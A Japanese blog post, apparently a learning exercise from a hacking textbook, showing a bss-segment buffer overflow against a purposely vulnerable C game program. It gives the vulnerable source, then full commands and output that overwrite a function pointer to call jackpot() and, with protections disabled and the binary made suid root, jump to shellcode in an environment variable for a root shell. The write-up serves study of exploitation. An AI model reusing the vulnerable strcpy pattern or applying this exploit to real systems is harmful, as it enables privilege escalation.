その時々

その時々で違うんです。特に決まっていないんです。

bssセグメントを利用した攻撃

bssセグメントのオーバーフローを利用した攻撃についてみてみます。

参考図書
isbn:4873112303

この方法は、まさに芸術的だと感じました。
すごいですねほんと。

もちろん今のセキュアな状態となったUbuntuでは参考図書通りにはいきませんが、
セキュリティを甘くして動かすことに成功しました。

まずは次のようなゲームがあったとします。

bss_game.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

int game(int);
int jackpot();

int main(int argc, char *argv[])
{
  static char buffer[20];
  static int (*function_ptr)(int user_pick);

  if (argc < 2)
    {
      printf("使用方法: %s <1 から 20 までの数値>\n", argv[0]);
      printf(" %s help または %s -h で詳細なヘルプが表示されます。\n", argv[0], argv[0]);
      exit(0);
    }

  // 乱数発生器の初期化を行なう。
  srand(time(NULL));

  // アロケーション調整
  printf("buffer : %p\n", buffer);

  // game関数を参照するポインタをセットする
  function_ptr = game;

  // デバッグメッセージを表示する。
  printf("---DEBUG--\n");
  printf("[strcpy 前] function_ptr @ %p: %p\n", &function_ptr, function_ptr);
  strcpy(buffer, argv[1]);

  printf("[*] バッファ @ %p:%s\n", buffer, buffer);
  printf("[strcpy 後] function_ptr @ %p: %p\n", &function_ptr, function_ptr);
  
  if (argc > 2)
    printf("[*] argv[2] @ %p\n", argv[2]);
  printf("-----------\n\n");

  // 最初の引数が "help" か "-h" の場合ヘルプメッセージを表示する。
  if ((!strcmp(buffer, "help")) || (!strcmp(buffer, "-h")))
    {
      printf("ヘルプ 本文: \n\n");
      printf("これは運試しのゲームです。\n");
      printf("1回 10 クレジットが必要であり、あなたのアカウントから\n");
      printf("自動的に引き落とされます。\n\n");
      printf("遊び方は、単に1から20までの数値を予測するだけです。\n");
      printf("    %s <予想> \n", argv[0]);
      printf("予想した数字が当たっていた場合、\n");
      printf("ジャックポットとして100クレジットが支払われます!\n");
    }
  else
    // それ以外は、関数へのポインタを用いてgame関数を呼び出す。
    {
      function_ptr(atoi(buffer));
    }
}

int game(int user_pick)
{
  int rand_pick;

  // ユーザが1から20までの数字を選んだかどうか確認する。
  if ((user_pick < 1) || (user_pick > 20))
    {
      printf("1から20までの数字を指定してください。\n");
      printf("ヘルプについてはhelpか−hを指定してください。\n");
      return;
    }

  printf("運試しゲーム..\n");
  printf("10クレジットをあなたのアカウントから引き落としました。\n");
  /* <アカウントから10クレジットを引き落とす処理をここに記述する。> */

  // 1から20までの乱数を選ぶ。
  rand_pick = (rand() % 20) + 1;

  printf("あなたの予想: %d\n", user_pick);
  printf("実際の数字: %d\n", rand_pick);

  // 予想した数字と実際の数字が当たっていた場合、jackpot()を呼び出す。
  if (user_pick == rand_pick)
    jackpot();
  else
    printf("残念でした、またどうぞ、、、\n");
}

// ジャックポット時の処理。 100クレジットを支払う。
int jackpot()
{
  printf("おめでとう! ジャックポットです!\n");
  printf("あなたのアカウントに100クレジットが支払われました。\n");
  /* <アカウントに100クレジットを支払う処理をここに記述する。> */
}

参考図書のソースと変えたところは、アロケーション調整というところです。
本のなかでは、静的変数を宣言した順番にbssセグメントにアロケーションされるよな想定で書かれていますが、
Ubuntu10.10のgcc4.4.5の環境では、静的変数を使用した順番にアロケーションされるようです。
ですので、先にbufferを使用してやるために追加しました。

このゲームの遊び方ですが、

$ ./bss_game 4
buffer : 0x804a03c
---DEBUG--
[strcpy 前] function_ptr @ 0x804a050: 0x804871d
[*] バッファ @ 0x804a03c:4
[strcpy 後] function_ptr @ 0x804a050: 0x804871d
-----------

運試しゲーム..
10クレジットをあなたのアカウントから引き落としました。
あなたの予想: 4
実際の数字: 5
残念でした、またどうぞ、、、

こんな感じで引数に1-20までの数値を渡してやるとランダムな数値と一致していれば、
100クレジット、間違っていれば-10クレジットされます。
実際のクレジットの増減処理は省かれています。

これは1/20の確率なので、当てるのは結構苦労します。

ですが、次のハッキングで魔法をかけることが出来ます。

先程のfunction_ptrの位置はstrcpyの前と後では変化はありませんでした。
オーバーフローさせてみるとどうでしょう。

$ ./bss_game 01234567890123456789
buffer : 0x804a03c
---DEBUG--
[strcpy 前] function_ptr @ 0x804a050: 0x804871d
[*] バッファ @ 0x804a03c:01234567890123456789
[strcpy 後] function_ptr @ 0x804a050: 0x8048700
-----------

セグメンテーション違反です

0x804871dから0x8048700へと変っています。
0x00は文字列の終端といったところでしょうか。

さらに一文字多くすると

$ ./bss_game 01234567890123456789A
buffer : 0x804a03c
---DEBUG--
[strcpy 前] function_ptr @ 0x804a050: 0x804871d
[*] バッファ @ 0x804a03c:01234567890123456789A
[strcpy 後] function_ptr @ 0x804a050: 0x8040041
-----------

セグメンテーション違反です

0x8040041となりました。
これはリトルエンディアンなので逆から入っています。
0x41はAのASCIIコードです。

というわけで、これを上手いこと使うわけです。

$ nm ./bss_game
08049f28 d _DYNAMIC

(中略)

080487d7 T jackpot
08048534 T main
         U printf@@GLIBC_2.0
         U puts@@GLIBC_2.0
         U rand@@GLIBC_2.0
         U srand@@GLIBC_2.0
         U strcmp@@GLIBC_2.0
         U strcpy@@GLIBC_2.0
         U time@@GLIBC_2.0

nmコマンドでオブジェクトファイルのシンボルを調べます。
そうするとjackpotのアドレスは0x080487d7であることが分ります。

引数に`printf "\xd7\x87\x04\x08"` とくっつけるとアドレスが入れれます。
ということで

$ ./bss_game 01234567890123456789`printf "\xd7\x87\x04\x08"`
buffer : 0x804a03c
---DEBUG--
[strcpy 前] function_ptr @ 0x804a050: 0x804871d
[*] バッファ @ 0x804a03c:01234567890123456789 
[strcpy 後] function_ptr @ 0x804a050: 0x80487d7
-----------

おめでとう! ジャックポットです!
あなたのアカウントに100クレジットが支払われました。

見事ジャックポットをゲットです!

すごいです。ほんと、よくこんなやりかたがあるなと思いますね。

まだこんなもんじゃありません。
このbss_gameですが、suid権限を持っているとします。

ちなみにあと最近のセキュアな環境ですと次のようにコンパイルされていなくてはだめですが、

$ gcc -fno-stack-protector -z execstack -o bss_game bss_game.c

スタックにあるコードを実行できるようにし、かつ

$ sudo sysctl -w kernel.randomize_va_space=0

としてASLRを止めなくてはいけません。

そんな脆弱性満載な環境でsuidを割り当てますと

$ sudo chown root.root bss_game
$ sudo chmod u+s bss_game

あとは、ちょっと面倒になってきたので途中を省略しまして、
shellcodeを書いたshellcodeというファイルがあるとしまして、
環境変数に次のようにセットします。

$export SHELLCODE=`perl -e 'print "\x90"x18;``cat shellcode`

getenvaddrという環境変数のアドレスを検索するブログラムを作成しまして
SHELLCODEのアドレスをゲットします。

$ ./getenvaddr SHELLCODE
SHELLCODE は 0xbffff5ca にあります。

そうしましたらジャックポットを取ったのと同じ要領で

$ ./bss_game 01234567890123456789`printf "\xca\xf5\xff\xbf"`
buffer : 0x804a03c
---DEBUG--
[strcpy 前] function_ptr @ 0x804a050: 0x804871d
[*] バッファ @ 0x804a03c:01234567890123456789    
[strcpy 後] function_ptr @ 0x804a050: 0xbffff5ca
-----------

# 

rootゲットです!